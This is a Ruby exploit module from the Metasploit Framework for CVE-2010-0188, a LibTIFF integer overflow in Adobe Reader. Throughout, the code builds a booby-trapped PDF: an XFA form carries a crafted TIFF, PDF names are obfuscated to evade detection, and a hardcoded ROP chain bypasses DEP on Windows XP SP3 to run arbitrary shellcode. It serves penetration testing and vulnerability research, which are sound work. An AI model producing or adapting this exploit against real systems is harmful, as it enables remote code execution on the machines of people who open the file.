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## # $Id: adobe_libtiff.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Acrobat Bundled LibTIFF Integer Overflow', 'Description'=> %q{ This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat Professional versions 8.0 through 8.2 and 9.0 through 9.3. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Microsoft', # reported to Adobe 'villy <villys777 [at] gmail.com>',# public exploit # Metasploit version by: 'jduck' ], 'Version'=> '$Revision: 10477 $', 'References' => [ [ 'CVE', '2010-0188' ], [ 'BID', '38195' ], [ 'OSVDB', '62526' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-07.html' ], [ 'URL', 'http://secunia.com/blog/76/' ], [ 'URL', 'http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', 'DisablePayloadHandler' => 'true', }, 'Payload'=> { 'Space' => 1024, 'BadChars'=> "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets'=> [ # test results (on Windows XP SP3) # reader 6.0.1 - untested # reader 7.0.5 - untested # reader 7.0.8 - untested # reader 7.0.9 - untested # reader 7.1.0 - untested # reader 7.1.1 - untested # reader 8.0.0 - untested # reader 8.1.1 - untested # reader 8.1.2 - untested # reader 8.1.3 - untested # reader 8.1.4 - untested # reader 8.1.5 - untested # reader 8.1.6 - untested # reader 8.2.0 - untested # reader 9.0.0 - untested # reader 9.1.0 - untested # reader 9.2.0 - untested # reader 9.3.0 - works [ 'Adobe Reader 9.3.0 on Windows XP SP3 English (w/DEP bypass)', { # ew, hardcoded offsets - see make_tiff() } ], ], 'DisclosureDate' => 'Feb 16 2010', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']), ], self.class) end def exploit tiff_data = make_tiff(payload.encoded) xml_data = make_xml(tiff_data) compressed = Zlib::Deflate.deflate(xml_data) # Create the pdf pdf = make_pdf(compressed) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj\r\n" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(xml_data) xref = [] eol = "\x0d\x0a" endobj = "endobj" << eol pdf = "%PDF-1.5" << eol pdf << "%" << RandomNonASCIIString(4) << eol xref << pdf.length pdf << ioDef(1) << nObfu("<</Filter/FlateDecode/Length ") << xml_data.length.to_s << nObfu("/Type /EmbeddedFile>>") << eol pdf << "stream" << eol pdf << xml_data << eol pdf << eol << "endstream" << eol pdf << endobj xref << pdf.length pdf << ioDef(2) << nObfu("<</V () /Kids [") << ioRef(3) << nObfu("] /T (") << "topmostSubform[0]" << nObfu(") >>") << eol << endobj xref << pdf.length pdf << ioDef(3) << nObfu("<</Parent ") << ioRef(2) << nObfu(" /Kids [") << ioRef(4) << nObfu("] /T (") << "Page1[0]" << nObfu(")>>") pdf << eol << endobj xref << pdf.length pdf << ioDef(4) << nObfu("<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P ") << ioRef(5) pdf << nObfu("/FT /Btn/TU (") << "ImageField1" << nObfu(")/Ff 65536/Parent ") << ioRef(3) pdf << nObfu("/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (") << "ImageField1[0]" << nObfu(")/Rect [107.385 705.147 188.385 709.087]>>") pdf << eol << endobj xref << pdf.length pdf << ioDef(5) << nObfu("<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent ") pdf << ioRef(6) << nObfu("/Type /Page/PieceInfo null>>") pdf << eol << endobj xref << pdf.length pdf << ioDef(6) << nObfu("<</Kids [") << ioRef(5) << nObfu("]/Type /Pages/Count 1>>") pdf << eol << endobj xref << pdf.length pdf << ioDef(7) << ("<</PageMode /UseAttachments/Pages ") << ioRef(6) pdf << ("/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm ") << ioRef(8) pdf << ("/Type /Catalog>>") pdf << eol << endobj xref << pdf.length pdf << ioDef(8) << nObfu("<</DA (/Helv 0 Tf 0 g )/XFA [(template) ") << ioRef(1) << nObfu("]/Fields [") pdf << ioRef(2) << nObfu("]>>") pdf << endobj << eol xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(7) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" end def make_tiff(code) tiff_offset = 0x2038 shellcode_offset = 1500 tiff ="II*\x00" tiff << [tiff_offset].pack('V') tiff << make_nops(shellcode_offset) tiff << code # Padding tiff << rand_text_alphanumeric(tiff_offset - 8 - code.length - shellcode_offset) tiff << "\x07\x00\x00\x01\x03\x00\x01\x00" tiff << "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00" tiff << "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01" tiff << "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00" tiff << "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20" tiff << "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00" tiff << "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00" # The following executes a ret2lib using BIB.dll # The effect is to bypass DEP and execute the shellcode in an indirect way stack_data = [ 0x70072f7,# pop eax / ret 0x10104, 0x70015bb,# pop ecx / ret 0x1000, 0x700154d,# mov [eax], ecx / ret 0x70015bb,# pop ecx / ret 0x7ffe0300, # -- location of KiFastSystemCall 0x7007fb2,# mov eax, [ecx] / ret 0x70015bb,# pop ecx / ret 0x10011, 0x700a8ac,# mov [ecx], eax / xor eax,eax / ret 0x70015bb,# pop ecx / ret 0x10100, 0x700a8ac,# mov [ecx], eax / xor eax,eax / ret 0x70072f7,# pop eax / ret 0x10011, 0x70052e2,# call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?) 0x7005c54,# pop esi / add esp,0x14 / ret 0xffffffff, 0x10100, 0x0, 0x10104, 0x1000, 0x40, # The next bit effectively copies data from the interleaved stack to the memory # pointed to by eax # The data copied is: # \x5a\x52\x6a\x02\x58\xcd\x2e\x3c\xf4\x74\x5a\x05\xb8\x49\x49\x2a # \x00\x8b\xfa\xaf\x75\xea\x87\xfe\xeb\x0a\x5f\xb9\xe0\x03\x00\x00 # \xf3\xa5\xeb\x09\xe8\xf1\xff\xff\xff\x90\x90\x90\xff\xff\xff\x90 0x700d731,# mov eax, [ebp-0x24] / ret 0x70015bb,# pop ecx / ret 0x26a525a, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x3c2ecd58, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0xf4745a05, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x2a4949b8, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0xaffa8b00, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0xfe87ea75, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0xb95f0aeb, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x3e0, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x9eba5f3, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0xfffff1e8, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x909090ff, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x90ffffff, 0x700154d,# mov [eax], ecx / ret 0x700d731,# mov eax, [ebp-0x24] / ret 0x700112f # call eax -- (execute stub to transition to full shellcode) ].pack('V*') tiff << stack_data Rex::Text.encode_base64(tiff) end def make_xml(tiff_data) xml_data = %Q|<?xml version="1.0" encoding="UTF-8" ?> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <config xmlns="http://www.xfa.org/schema/xci/1.0/"> <present> <pdf> <version>1.65</version> <interactive>1</interactive> <linearized>1</linearized> </pdf> <xdp> <packets>*</packets> </xdp> <destination>pdf</destination> </present> </config> <template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/"> <subform name="topmostSubform" layout="tb" locale="en_US"> <pageSet> <pageArea id="PageArea1" name="PageArea1"> <contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" /> <medium short="612pt" long="792pt" stock="custom" /> </pageArea> </pageSet> <subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt"> <break before="pageArea" beforeTarget="#PageArea1" /> <bind match="none" /> <field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm"> <ui> <imageEdit /> </ui> </field> <?templateDesigner expand 1?> </subform> <?templateDesigner expand 1?> </subform> <?templateDesigner FormTargetVersion 24?> <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?> <?templateDesigner Zoom 94?> </template> <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"> <xfa:data> <topmostSubform> <ImageField1 xfa:contentType="image/tif" href="https://www.exploit-db.com/exploits/16670/">REPLACE_TIFF</ImageField1> </topmostSubform> </xfa:data> </xfa:datasets> <PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" /> <form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/"> <subform name="topmostSubform"> <instanceManager name="_Page1" /> <subform name="Page1"> <field name="ImageField1" /> </subform> <pageSet> <pageArea name="PageArea1" /> </pageSet> </subform> </form> </xdp:xdp> | xml_data.gsub!(/REPLACE_TIFF/, tiff_data) xml_data end end |
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